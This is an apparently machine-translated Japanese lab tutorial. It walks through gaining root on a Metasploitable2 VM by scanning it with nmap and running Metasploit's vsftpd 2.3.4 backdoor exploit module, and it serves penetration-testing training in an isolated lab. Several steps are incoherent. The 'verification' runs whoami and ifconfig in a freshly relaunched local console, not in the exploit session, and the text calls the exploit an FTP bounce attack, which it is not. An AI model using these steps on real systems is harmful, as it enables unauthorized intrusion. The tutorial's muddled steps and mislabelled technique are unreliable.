Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する

CybersecurityCybersecurityBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、ファイル転送プロトコル (FTP) サービスの脆弱性を悪用して、ターゲットマシンに不正アクセスする方法を学びます。このシナリオはサイバーセキュリティの文脈で設定されており、あなたは脆弱な FTP サーバーの脆弱性を特定して悪用する義務的ハッカーの役割を担います。

この実験の目的は、FTP サービスの脆弱性を利用し、人気のあるペネトレーションテストツールである Metasploit Framework を使用して、Metasploitable2 ターゲットマシンにルートアクセスを獲得することです。この実践的な経験を通じて、FTP バウンス攻撃、ポートスキャン技術、および Metasploit を使用した悪用プロセスについてより深い理解を得ることができます。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("Cybersecurity")) -.-> cybersecurity/NmapGroup(["Nmap"]) nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("Nmap Port Scanning Methods") cybersecurity/NmapGroup -.-> cybersecurity/nmap_host_discovery("Nmap Host Discovery Techniques") cybersecurity/NmapGroup -.-> cybersecurity/nmap_target_specification("Nmap Target Specification") cybersecurity/NmapGroup -.-> cybersecurity/nmap_service_detection("Nmap Service Detection") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills cybersecurity/nmap_port_scanning -.-> lab-416132{{"Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する"}} cybersecurity/nmap_host_discovery -.-> lab-416132{{"Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する"}} cybersecurity/nmap_target_specification -.-> lab-416132{{"Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する"}} cybersecurity/nmap_service_detection -.-> lab-416132{{"Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する"}} nmap/port_scanning -.-> lab-416132{{"Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する"}} nmap/host_discovery -.-> lab-416132{{"Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する"}} nmap/target_specification -.-> lab-416132{{"Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する"}} nmap/service_detection -.-> lab-416132{{"Nmap と Metasploit を使って FTP サービスの脆弱性を悪用する"}} end

実験環境のセットアップ

このステップでは、攻撃者としての Kali Linux マシンとターゲットとしての Metasploitable2 マシンの 2 つの仮想マシンで構成される実験環境をセットアップします。

  1. ターミナルで以下のコマンドを実行して、Metasploitable2 仮想マシンを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するのを待ちます。起動には 1 ~ 3 分かかる場合があります。

  1. Metasploitable2 マシンに ping を送信して、そのマシンが動作していることを確認します。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. Kali Linux コンテナを起動し、その bash シェルに入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali Linux コンテナと Metasploitable2 マシン間のネットワーク接続をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

これで攻撃マシンとターゲットマシンの両方が動作しており、ペネトレーションテストを開始することができます。

注意: 現在の bash を誤って終了した場合、Kali コンテナは自動的に停止します。ホスト上で再度 docker run -ti --network host b5b709a49cd5 bash を実行することで、新しい Kali コンテナを起動して bash に入り、実験を続行することができます。

ポートスキャンの実行

このステップでは、Nmap スキャンツールを使用して、Metasploitable2 ターゲットマシンで動作している開放ポートとサービスを特定します。

  1. Metasploit が必要とする PostgreSQL データベースサービスを起動します。
service postgresql start
  1. Metasploit データベースを初期化します。
msfdb init
  1. Metasploit Framework コンソールを起動します。
cd ~
msfconsole
  1. Nmap を使用してターゲットマシンをスキャンし、開放ポートを特定します。
nmap -sV -T4 192.168.122.102

-sV オプションは開放ポートのバージョン検出を有効にし、-T4 はより高速なスキャンのためのタイミングポリシーを設定します。

Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します

FTP サービスの脆弱性を悪用する

このステップでは、特定された FTP サービスの脆弱性を利用して、Metasploitable2 ターゲットマシンに不正アクセスします。

  1. まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. Metasploit で FTP スキャナーモジュールを検索します。
search scanner/ftp
  1. ftp_version モジュールを使用して FTP サービスをスキャンします。
use auxiliary/scanner/ftp/ftp_version
  1. スキャン対象のホストを設定します。
set RHOSTS 192.168.122.102
  1. FTP バージョンのスキャンを実行します。
exploit
  1. 特定された FTP バージョンに基づいて、対応する悪用モジュールを検索します。
search vsFTPd
  1. vsftpd_234_backdoor モジュールを使用して脆弱性を悪用します。
use exploit/unix/ftp/vsftpd_234_backdoor
  1. 悪用対象のホストを設定します。
set RHOST 192.168.122.102
  1. 悪用を実行します。
exploit

Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します

悪用の成功を確認する

このステップでは、悪用が成功し、Metasploitable2 ターゲットマシンにルートアクセスが得られたことを確認します。

  1. まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. 現在のユーザーを確認します。
whoami
  1. 攻撃されたマシンのホスト名を確認します。
hostname
  1. 攻撃されたマシンの IP アドレスを確認します。
ifconfig

Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します

まとめ

この実験では、FTP サービスの脆弱性を悪用してターゲットマシンに不正アクセスする方法を学びました。脆弱な Metasploitable2 マシンと Kali Linux 攻撃マシンを使用して実験環境をセットアップしました。Nmap を使用してポートスキャンを行い、開放ポートとサービスを特定し、その後 Metasploit Framework を利用して特定された FTP サービスの脆弱性を悪用しました。最後に、攻撃されたマシンの現在のユーザー、ホスト名、および IP アドレスを確認することで、悪用の成功を確認しました。

この実践的な経験を通じて、脆弱性の特定と悪用、Nmap や Metasploit などの一般的なサイバーセキュリティツールの使用、および FTP バウンス攻撃技術の理解に関する実践的な知識とスキルを獲得しました。これらのスキルは、倫理的ハッカーやサイバーセキュリティ専門家がシステムやネットワークのセキュリティ態勢を評価し強化するために不可欠です。